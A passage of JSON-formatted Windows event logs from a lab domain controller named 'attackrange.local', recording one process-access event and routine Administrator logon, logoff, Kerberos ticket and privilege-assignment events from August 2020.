","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.397","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221876,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x60F7F\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x60f7f","LogonType":"3","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221877,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x627DB\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x627db","LogonType":"3","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221878,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x62C5E\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x62c5e","LogonType":"3","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221879,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221880,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{693751F6-F91A-6B42-9497-606AC6C073E9}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{693751F6-F91A-6B42-9497-606AC6C073E9}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221881,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{693751F6-F91A-6B42-9497-606AC6C073E9}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{693751F6-F91A-6B42-9497-606AC6C073E9}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221882,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x67248\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{693751F6-F91A-6B42-9497-606AC6C073E9}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x67248","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{693751F6-F91A-6B42-9497-606AC6C073E9}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221883,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x67248\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x67248","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221884,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x67248\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x67248","LogonType":"3","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221885,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221886,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{693751F6-F91A-6B42-9497-606AC6C073E9}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{693751F6-F91A-6B42-9497-606AC6C073E9}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221887,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{693751F6-F91A-6B42-9497-606AC6C073E9}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{693751F6-F91A-6B42-9497-606AC6C073E9}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221888,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x6726A\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{693751F6-F91A-6B42-9497-606AC6C073E9}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x6726a","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{693751F6-F91A-6B42-9497-606AC6C073E9}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221889,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon 